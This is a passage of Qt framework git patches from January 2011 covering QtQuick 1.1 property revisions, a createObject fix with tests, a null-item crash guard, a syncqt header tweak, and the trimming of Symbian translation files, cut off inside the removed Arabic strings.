    +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
    @@ -71,9 +71,9 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplici
         Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged)
         Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
         Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
    -    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged)
    -    Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged)
    -    Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount)
    +    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
    +    Q_PROPERTY(bool truncated READ truncated NOTIFY truncatedChanged REVISION 1)
    +    Q_PROPERTY(int maximumLineCount READ maximumLineCount WRITE setMaximumLineCount NOTIFY maximumLineCountChanged RESET resetMaximumLineCount REVISION 1)
     
         Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
         Q_PROPERTY(TextElideMode elide READ elideMode WRITE setElideMode NOTIFY elideModeChanged) //### elideMode?
    @@ -169,9 +169,9 @@ Q_SIGNALS:
         void horizontalAlignmentChanged(HAlignment alignment);
         void verticalAlignmentChanged(VAlignment alignment);
         void wrapModeChanged();
    -    void lineCountChanged();
    -    void truncatedChanged();
    -    void maximumLineCountChanged();
    +    Q_REVISION(1) void lineCountChanged();
    +    Q_REVISION(1) void truncatedChanged();
    +    Q_REVISION(1) void maximumLineCountChanged();
         void textFormatChanged(TextFormat textFormat);
         void elideModeChanged(TextElideMode mode);
         void paintedSizeChanged();
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    index 276d570..db3cb2d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    @@ -75,7 +75,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePa
         Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign NOTIFY horizontalAlignmentChanged)
         Q_PROPERTY(VAlignment verticalAlignment READ vAlign WRITE setVAlign NOTIFY verticalAlignmentChanged)
         Q_PROPERTY(WrapMode wrapMode READ wrapMode WRITE setWrapMode NOTIFY wrapModeChanged)
    -    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged)
    +    Q_PROPERTY(int lineCount READ lineCount NOTIFY lineCountChanged REVISION 1)
         Q_PROPERTY(qreal paintedWidth READ paintedWidth NOTIFY paintedSizeChanged)
         Q_PROPERTY(qreal paintedHeight READ paintedHeight NOTIFY paintedSizeChanged)
         Q_PROPERTY(TextFormat textFormat READ textFormat WRITE setTextFormat NOTIFY textFormatChanged)
    diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
    index c277eb7..f1fe2bd 100644
    --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
    +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
    @@ -90,6 +90,8 @@ private slots:
         void paintedWidthHeight();
         void sourceSize_QTBUG_14303();
         void nullPixmapPaint();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         template
    @@ -164,7 +166,7 @@ void tst_qdeclarativeimage::imageSource()
         if (!error.isEmpty())
             QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
     
    -    QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; asynchronous: "
    +    QString componentStr = "import QtQuick 1.1\nImage { source: \"" + source + "\"; asynchronous: "
             + (async ? QLatin1String("true") : QLatin1String("false")) + "; cache: "
             + (cache ? QLatin1String("true") : QLatin1String("false")) + " }";
         QDeclarativeComponent component(&engine);
    @@ -280,7 +282,7 @@ void tst_qdeclarativeimage::mirror()
         qreal height = 250;
     
         QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString();
    -    QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; }";
    +    QString componentStr = "import QtQuick 1.1\nImage { source: \"" + src + "\"; }";
     
         QDeclarativeComponent component(&engine);
         component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
    @@ -667,6 +669,45 @@ void tst_qdeclarativeimage::nullPixmapPaint()
         delete image;
     }
     
    +void tst_qdeclarativeimage::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; Image { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; Image { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativeimage::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("mirror") << "mirror: true"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Image.mirror\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("cache") << "cache: true"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Image.cache\" is not available in QtQuick 1.0.\n";
    +}
    +
     /*
        Find an item with the specified objectName.  If index is supplied then the
        item must also evaluate the {index} expression equal to index
    diff --git a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
    index b3d7bc1..63817f6 100644
    --- a/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
    +++ b/tests/auto/declarative/qdeclarativetext/data/lineCount.qml
    @@ -1,4 +1,4 @@
    -import QtQuick 1.0
    +import QtQuick 1.1
     
     Item {
         width: 200
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index faea448..fabae18 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -103,6 +103,8 @@ private slots:
         void QTBUG_12291();
         void implicitSize_data();
         void implicitSize();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         QStringList standard;
    @@ -1079,6 +1081,45 @@ void tst_qdeclarativetext::implicitSize()
         QVERIFY(textObject->height() == textObject->implicitHeight());
     }
     
    +void tst_qdeclarativetext::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativetext::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("maximumLineCount") << "maximumLineCount: 4"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Text.maximumLineCount\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("truncated") << "property int foo: lineCount"
    +        << ":1: ReferenceError: Can't find variable: lineCount"
    +        << "";
    +}
    +
     QTEST_MAIN(tst_qdeclarativetext)
     
     #include "tst_qdeclarativetext.moc"
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index 582b20f..cd1977a 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -129,6 +129,8 @@ private slots:
         void pastingRichText_QTBUG_14003();
         void implicitSize_data();
         void implicitSize();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         void simulateKey(QDeclarativeView *, int key);
    @@ -1476,6 +1478,45 @@ void tst_qdeclarativetextedit::implicitSize()
         QVERIFY(textObject->height() == textObject->implicitHeight());
     }
     
    +void tst_qdeclarativetextedit::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativetextedit::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("canPaste") << "property bool foo: canPaste"
    +        << ":1: ReferenceError: Can't find variable: canPaste"
    +        << "";
    +
    +    QTest::newRow("lineCount") << "property int foo: lineCount"
    +        << ":1: ReferenceError: Can't find variable: lineCount"
    +        << "";
    +}
    +
     QTEST_MAIN(tst_qdeclarativetextedit)
     
     #include "tst_qdeclarativetextedit.moc"
    -- 
    cgit v0.12
    
    
    From 44c2b8bc246640a011010fc30ebfdc90988ef626 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Thu, 27 Jan 2011 18:04:38 +1000
    Subject: Fix object check in createObject
    
    The 'if' check for the value map was inverted. Spelling in warning
    was fixed.
    
    Task-number: QTBUG-13087
    Reviewed-by: Bea Lam
    ---
     src/declarative/qml/qdeclarativecomponent.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
    index bd6e2d8..b634a7a 100644
    --- a/src/declarative/qml/qdeclarativecomponent.cpp
    +++ b/src/declarative/qml/qdeclarativecomponent.cpp
    @@ -665,8 +665,8 @@ QScriptValue QDeclarativeComponent::createObject(QObject* parent, const QScriptV
     {
         Q_D(QDeclarativeComponent);
     
    -    if (valuemap.isObject() && !valuemap.isArray()) {
    -        qmlInfo(this) << tr("creatObject: value is not an object");
    +    if (!valuemap.isObject() || valuemap.isArray()) {
    +        qmlInfo(this) << tr("createObject: value is not an object");
             return QScriptValue(QScriptValue::NullValue);
         }
         return d->createObject(parent, valuemap);
    -- 
    cgit v0.12
    
    
    From 281ff52c266e54030ca48326e79eab2d452c2e83 Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Thu, 27 Jan 2011 18:22:15 +1000
    Subject: Test for passing functions to createObject() for property bindings
    
    ---
     .../data/createObjectWithScript.qml                | 17 ++++++++++++++++
     .../tst_qdeclarativecomponent.cpp                  | 23 ++++++++++++++++++++--
     2 files changed, 38 insertions(+), 2 deletions(-)
    
    diff --git a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    index 60d4c44..6f9ddc1 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    +++ b/tests/auto/declarative/qdeclarativecomponent/data/createObjectWithScript.qml
    @@ -4,6 +4,10 @@ Item{
         id: root
         property QtObject declarativerectangle : null
         property QtObject declarativeitem : null
    +
    +    property QtObject bindingTestObject : null
    +    property QtObject bindingThisTestObject : null
    +
         Component{id: a; Rectangle{} }
         Component{
             id: b
    @@ -14,8 +18,21 @@ Item{
             }
         }
     
    +    // test passing in bindings
    +    width: 100
    +    Component {
    +        id: c
    +        Item {
    +            property int testValue
    +            width: 300
    +        }
    +    }
    +
         Component.onCompleted: {
             root.declarativerectangle = a.createObject(root, {"x":17,"y":17, "color":"white"});
             root.declarativeitem = b.createObject(root, {"x":17,"y":17,"testBool":true,"testInt":17,"testObject":root});
    +
    +        root.bindingTestObject = c.createObject(root, {'testValue': (function(){return width * 3}) })  // use root.width
    +        root.bindingThisTestObject = c.createObject(root, {'testValue': (function(){return this.width * 3}) })  // use width of Item within 'c'
         }
     }
    diff --git a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    index 829b762..62c6bb5 100644
    --- a/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    +++ b/tests/auto/declarative/qdeclarativecomponent/tst_qdeclarativecomponent.cpp
    @@ -62,7 +62,7 @@ private slots:
         void null();
         void loadEmptyUrl();
         void qmlCreateObject();
    -    void qmlCreatObjectWithScript();
    +    void qmlCreateObjectWithProperties();
     
     private:
         QDeclarativeEngine engine;
    @@ -121,10 +121,11 @@ void tst_qdeclarativecomponent::qmlCreateObject()
         QCOMPARE(testObject3->metaObject()->className(), "QDeclarativeGraphicsWidget");
     }
     
    -void tst_qdeclarativecomponent::qmlCreatObjectWithScript()
    +void tst_qdeclarativecomponent::qmlCreateObjectWithProperties()
     {
         QDeclarativeEngine engine;
         QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/createObjectWithScript.qml"));
    +    QVERIFY2(component.errorString().isEmpty(), component.errorString().toUtf8());
         QObject *object = component.create();
         QVERIFY(object != 0);
     
    @@ -134,6 +135,7 @@ void tst_qdeclarativecomponent::qmlCreatObjectWithScript()
         QCOMPARE(testObject1->property("x").value(), 17);
         QCOMPARE(testObject1->property("y").value(), 17);
         QCOMPARE(testObject1->property("color").value(), QColor(255,255,255));
    +    delete testObject1;
     
         QObject *testObject2 = object->property("declarativeitem").value();
         QVERIFY(testObject2);
    @@ -144,6 +146,23 @@ void tst_qdeclarativecomponent::qmlCreatObjectWithScript()
         QCOMPARE(testObject2->property("testBool").value(), true);
         QCOMPARE(testObject2->property("testInt").value(), 17);
         QCOMPARE(testObject2->property("testObject").value(), object);
    +    delete testObject2;
    +
    +    QObject *testBindingObj = object->property("bindingTestObject").value();
    +    QVERIFY(testBindingObj);
    +    QCOMPARE(testBindingObj->parent(), object);
    +    QCOMPARE(testBindingObj->property("testValue").value(), 300);
    +    object->setProperty("width", 150);
    +    QCOMPARE(testBindingObj->property("testValue").value(), 150 * 3);
    +    delete testBindingObj;
    +
    +    QObject *testBindingThisObj = object->property("bindingThisTestObject").value();
    +    QVERIFY(testBindingThisObj);
    +    QCOMPARE(testBindingThisObj->parent(), object);
    +    QCOMPARE(testBindingThisObj->property("testValue").value(), 900);
    +    testBindingThisObj->setProperty("width", 200);
    +    QCOMPARE(testBindingThisObj->property("testValue").value(), 200 * 3);
    +    delete testBindingThisObj;
     }
     
     QTEST_MAIN(tst_qdeclarativecomponent)
    -- 
    cgit v0.12
    
    
    From eb55d07febf858474d8755e31cb554a4b8fabcdc Mon Sep 17 00:00:00 2001
    From: Aaron Kennedy 
    Date: Thu, 27 Jan 2011 18:43:01 +1000
    Subject: Don't crash when appending a null item
    
    Task-number: QTBUG-16871
    ---
     src/gui/graphicsview/qgraphicsitem.cpp                       | 12 +++++++-----
     tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml |  5 +++++
     .../declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp    |  9 +++++++++
     3 files changed, 21 insertions(+), 5 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
    
    diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp
    index 52e4d79..f463887 100644
    --- a/src/gui/graphicsview/qgraphicsitem.cpp
    +++ b/src/gui/graphicsview/qgraphicsitem.cpp
    @@ -7689,11 +7689,13 @@ void QGraphicsObject::updateMicroFocus()
     
     void QGraphicsItemPrivate::children_append(QDeclarativeListProperty *list, QGraphicsObject *item)
     {
    -    QGraphicsObject *graphicsObject = static_cast(list->object);
    -    if (QGraphicsItemPrivate::get(graphicsObject)->sendParentChangeNotification) {
    -        item->setParentItem(graphicsObject);
    -    } else {
    -        QGraphicsItemPrivate::get(item)->setParentItemHelper(graphicsObject, 0, 0);
    +    if (item) {
    +        QGraphicsObject *graphicsObject = static_cast(list->object);
    +        if (QGraphicsItemPrivate::get(graphicsObject)->sendParentChangeNotification) {
    +            item->setParentItem(graphicsObject);
    +        } else {
    +            QGraphicsItemPrivate::get(item)->setParentItemHelper(graphicsObject, 0, 0);
    +        }
         }
     }
     
    diff --git a/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
    new file mode 100644
    index 0000000..8102df1
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
    @@ -0,0 +1,5 @@
    +import QtQuick 1.0
    +
    +Item {
    +    children: [ 10 ]
    +}
    diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    index 447b57b..137522d 100644
    --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    @@ -86,6 +86,7 @@ private slots:
         void implicitSize();
         void testQtQuick11Attributes();
         void testQtQuick11Attributes_data();
    +    void qtbug_16871();
     
     private:
         template
    @@ -994,6 +995,14 @@ void tst_QDeclarativeItem::testQtQuick11Attributes_data()
             << ":1 \"Item.onImplicitHeightChanged\" is not available in QtQuick 1.0.\n";
     }
     
    +void tst_QDeclarativeItem::qtbug_16871()
    +{
    +    QDeclarativeComponent component(&engine, SRCDIR "/data/qtbug_16871.qml");
    +    QObject *o = component.create();
    +    QVERIFY(o != 0);
    +    delete o;
    +}
    +
     
     template
     T *tst_QDeclarativeItem::findItem(QGraphicsObject *parent, const QString &objectName)
    -- 
    cgit v0.12
    
    
    From bd6c9225328b6042ff14dfddb28e2e1279ba0e46 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Thu, 27 Jan 2011 10:01:48 +0100
    Subject: Make syncqt not complain about missing header macros.
    
    qsharedpointer_impl.h contains class definitions that are also
    mirrored in qsharedpointer.h (which is there for qdoc3), so we have a
    macro to stop processing.
    
    Task-number: QTBUG-16912
    Reviewed-by: Olivier Goffart
    ---
     src/corelib/tools/qsharedpointer_impl.h | 10 ++++++++++
     1 file changed, 10 insertions(+)
    
    diff --git a/src/corelib/tools/qsharedpointer_impl.h b/src/corelib/tools/qsharedpointer_impl.h
    index 2404d2a..0337c1f 100644
    --- a/src/corelib/tools/qsharedpointer_impl.h
    +++ b/src/corelib/tools/qsharedpointer_impl.h
    @@ -44,7 +44,17 @@
     #ifndef QSHAREDPOINTER_H
     #error Do not include qsharedpointer_impl.h directly
     #endif
    +
     #if 0
    +// These macros are duplicated here to make syncqt not complain a about
    +// this header, as we have a "qt_sync_stop_processing" below, which in turn
    +// is here because this file contains a template mess and duplicates the
    +// classes found in qsharedpointer.h
    +QT_BEGIN_HEADER
    +QT_BEGIN_NAMESPACE
    +QT_MODULE(Core)
    +QT_END_NAMESPACE
    +QT_END_HEADER
     #pragma qt_sync_stop_processing
     #endif
     
    -- 
    cgit v0.12
    
    
    From c31d67a7d69d3781fa6dc7601200ce0ba12a4760 Mon Sep 17 00:00:00 2001
    From: Oswald Buddenhagen 
    Date: Wed, 26 Jan 2011 11:12:17 +0100
    Subject: reduce some symbian-specific TS files for qt to RTL marker
    
    that's their only purpose. the rest of the contents is just nonsense.
    ---
     config.profiles/symbian/translations/qt_ar.ts | 7817 +----------------------
     config.profiles/symbian/translations/qt_fa.ts | 8510 +------------------------
     config.profiles/symbian/translations/qt_he.ts | 7777 +---------------------
     config.profiles/symbian/translations/qt_ur.ts | 8510 +------------------------
     4 files changed, 24 insertions(+), 32590 deletions(-)
    
    diff --git a/config.profiles/symbian/translations/qt_ar.ts b/config.profiles/symbian/translations/qt_ar.ts
    index f44dc98..aca2bd7 100644
    --- a/config.profiles/symbian/translations/qt_ar.ts
    +++ b/config.profiles/symbian/translations/qt_ar.ts
    @@ -2,7820 +2,11 @@
     
     
     
    -    AudioOutput
    -    
    -        
    -        <html>The audio playback device <b>%1</b> does not work.<br/>Falling back to <b>%2</b>.</html>
    -        
    -    
    -    
    -        
    -        <html>Switching to the audio playback device <b>%1</b><br/>which just became available and has higher preference.</html>
    -        
    -    
    -    
    -        
    -        Revert back to device '%1'
    -        
    -    
    -
    -
    -    CloseButton
    -    
    -        
    -        Close Tab
    -        
    -    
    -
    -
    -    PPDOptionsModel
    -    
    -        Name
    -        الإسم
    -    
    -
    -
    -    Phonon::
    -    
    -        
    -        Notifications
    -        
    -    
    -    
    -        
    -        Music
    -        
    -    
    -    
    -        
    -        Video
    -        
    -    
    -    
    -        
    -        Communication
    -        
    -    
    -    
    -        
    -        Games
    -        
    -    
    -    
    -        
    -        Accessibility
    -        
    -    
    -
    -
    -    Phonon::Gstreamer::Backend
    -    
    -        
    -        Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
    -          Some video features have been disabled.
    -        
    -    
    -    
    -        
    -        Warning: You do not seem to have the base GStreamer plugins installed.
    -          All audio and video support has been disabled
    -        
    -    
    -
    -
    -    Phonon::Gstreamer::MediaObject
    -    
    -        
    -        Cannot start playback. 
    -
    -Check your Gstreamer installation and make sure you 
    -have libgstreamer-plugins-base installed.
    -        
    -    
    -    
    -        
    -        A required codec is missing. You need to install the following codec(s) to play this content: %0
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        Could not open media source.
    -        
    -    
    -    
    -        
    -        Invalid source type.
    -        
    -    
    -    
    -        
    -        Could not locate media source.
    -        
    -    
    -    
    -        
    -        Could not open audio device. The device is already in use.
    -        
    -    
    -    
    -        
    -        Could not decode media source.
    -        
    -    
    -
    -
    -    Phonon::VolumeSlider
    -    
    -        
    -        
    -        Volume: %1%
    -        
    -    
    -    
    -        
    -        
    -        
    -        Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%
    -        
    -    
    -
    -
    -    Q3Accel
    -    
    -        
    -        %1, %2 not defined
    -        
    -    
    -    
    -        
    -        Ambiguous %1 not handled
    -        
    -    
    -
    -
    -    Q3DataTable
    -    
    -        
    -        True
    -        صحيح
    -    
    -    
    -        
    -        False
    -        خاطئ
    -    
    -    
    -        
    -        Insert
    -        إدراج
    -    
    -    
    -        
    -        Update
    -        تحديث
    -    
    -    
    -        
    -        Delete
    -        حذف
    -    
    -
    -
    -    Q3FileDialog
    -    
    -        
    -        Copy or Move a File
    -        نسخ أو تحريك ملفّ
    -    
    -    
    -        
    -        Read: %1
    -        قراءة: %1
    -    
    -    
    -        
    -        
    -        Write: %1
    -        كتابة: %1
    -    
    -    
    -        
    -        
    -        Cancel
    -        إلغاء
    -    
    -    
    -        
    -        
    -        
    -        
    -        All Files (*)
    -        جميع الملفّات (*)
    -    
    -    
    -        
    -        Name
    -        الإسم
    -    
    -    
    -        
    -        Size
    -        السّعة
    -    
    -    
    -        
    -        Type
    -        الطّراز
    -    
    -    
    -        
    -        Date
    -        التّاريخ
    -    
    -    
    -        
    -        Attributes
    -        الخاصّيات
    -    
    -    
    -        
    -        
    -        &OK
    -        &موافقة
    -    
    -    
    -        
    -        Look &in:
    -        بحث &في:
    -    
    -    
    -        
    -        
    -        
    -        File &name:
    -        إ&سم الملفّ:
    -    
    -    
    -        
    -        File &type:
    -        &طراز الملفّ:
    -    
    -    
    -        
    -        Back
    -        رجوع
    -    
    -    
    -        
    -        One directory up
    -        دليل للأعلى
    -    
    -    
    -        
    -        Create New Folder
    -        صنع دليل جديد
    -    
    -    
    -        
    -        List View
    -        معاينة بالقائمة
    -    
    -    
    -        
    -        Detail View
    -        معاينة مفصّلة
    -    
    -    
    -        
    -        Preview File Info
    -        عرض مقدّم لمعلومات الملفّ
    -    
    -    
    -        
    -        Preview File Contents
    -        عرض مقدّم لمحتويات الملفّ
    -    
    -    
    -        
    -        Read-write
    -        قراءة-كتابة
    -    
    -    
    -        
    -        Read-only
    -        قراءة فقط
    -    
    -    
    -        
    -        Write-only
    -        كتابة فقط
    -    
    -    
    -        
    -        Inaccessible
    -        مستحيل التّوصّل إليه
    -    
    -    
    -        
    -        Symlink to File
    -        وصل رمزي لملفّ
    -    
    -    
    -        
    -        Symlink to Directory
    -        وصل رمزي لدليل
    -    
    -    
    -        
    -        Symlink to Special
    -        وصل رمزي لملفّ خاصّ
    -    
    -    
    -        
    -        File
    -        ملفّ
    -    
    -    
    -        
    -        Dir
    -        دليل
    -    
    -    
    -        
    -        Special
    -        ملفّ خاصّ
    -    
    -    
    -        
    -        
    -        
    -        Open
    -        فتح
    -    
    -    
    -        
    -        
    -        Save As
    -        حفظ تحت
    -    
    -    
    -        
    -        
    -        
    -        &Open
    -        &فتح
    -    
    -    
    -        
    -        
    -        &Save
    -        &حفظ
    -    
    -    
    -        
    -        &Rename
    -        ت&غيير الإسم
    -    
    -    
    -        
    -        &Delete
    -        ح&ذف
    -    
    -    
    -        
    -        R&eload
    -        إ&عادة التّحميل
    -    
    -    
    -        
    -        Sort by &Name
    -        فرز بال&إسم
    -    
    -    
    -        
    -        Sort by &Size
    -        فرز بالسّ&عة
    -    
    -    
    -        
    -        Sort by &Date
    -        فرز بالتّا&ريخ
    -    
    -    
    -        
    -        &Unsorted
    -        غير &مفروز
    -    
    -    
    -        
    -        Sort
    -        فرز
    -    
    -    
    -        
    -        Show &hidden files
    -        ع&رض الملفّات المخفية
    -    
    -    
    -        
    -        the file
    -        الملفّ
    -    
    -    
    -        
    -        the directory
    -        الدّليل
    -    
    -    
    -        
    -        the symlink
    -        الوصل الرّمزي
    -    
    -    
    -        
    -        Delete %1
    -        حذف %1
    -    
    -    
    -        
    -        <qt>Are you sure you wish to delete %1 "%2"?</qt>
    -        <qt>هل تريد فعلا حذف %1 "%2"؟</qt>
    -    
    -    
    -        
    -        &Yes
    -        &نعم
    -    
    -    
    -        
    -        &No
    -        &لا
    -    
    -    
    -        
    -        New Folder 1
    -        دليل جديد 1
    -    
    -    
    -        
    -        New Folder
    -        دليل جديد
    -    
    -    
    -        
    -        New Folder %1
    -        دليل جديد %1
    -    
    -    
    -        
    -        Find Directory
    -        إيجاد الدّليل
    -    
    -    
    -        
    -        
    -        Directories
    -        دلائل
    -    
    -    
    -        
    -        Directory:
    -        دليل:
    -    
    -    
    -        
    -        
    -        Error
    -        خطأ
    -    
    -    
    -        
    -        %1
    -File not found.
    -Check path and filename.
    -        %1
    -لم يتمّ إيجاد الملفّ.
    -تحقّق من المسار و إسم الملفّ.
    -    
    -    
    -        
    -        All Files (*.*)
    -        جميع الملفّات (*.*)
    -    
    -    
    -        
    -        Open 
    -        فتح
    -    
    -    
    -        
    -        Select a Directory
    -        انتقاء دليل
    -    
    -
    -
    -    Q3LocalFs
    -    
    -        
    -        
    -        Could not read directory
    -%1
    -        لم أستطع قراءة الدّليل
    -%1
    -    
    -    
    -        
    -        Could not create directory
    -%1
    -        لم أستطع صنع الدّليل
    -%1
    -    
    -    
    -        
    -        Could not remove file or directory
    -%1
    -        لم أستطع نزع الملفّ أو الدّليل
    -%1
    -    
    -    
    -        
    -        Could not rename
    -%1
    -to
    -%2
    -        لم أستطع إعادة تسمية
    -%1
    -إلى
    -%2
    -    
    -    
    -        
    -        Could not open
    -%1
    -        لم أستطع فتح
    -%1
    -    
    -    
    -        
    -        Could not write
    -%1
    -        لم أستطع كتابة
    -%1
    -    
    -
    -
    -    Q3MainWindow
    -    
    -        
    -        Line up
    -        تصفيف
    -    
    -    
    -        
    -        Customize...
    -        تخصيص...
    -    
    -
    -
    -    Q3NetworkProtocol
    -    
    -        
    -        Operation stopped by the user
    -        أوقفت العمليّة من طرف المستعمل
    -    
    -
    -
    -    Q3ProgressDialog
    -    
    -        
    -        
    -        Cancel
    -        إلغاء
    -    
    -
    -
    -    Q3TabDialog
    -    
    -        
    -        
    -        OK
    -        موافقة
    -    
    -    
    -        
    -        Apply
    -        تطبيق
    -    
    -    
    -        
    -        Help
    -        مساعدة
    -    
    -    
    -        
    -        Defaults
    -        افتراضيات
    -    
    -    
    -        
    -        Cancel
    -        إلغاء
    -    
    -
    -
    -    Q3TextEdit
    -    
    -        
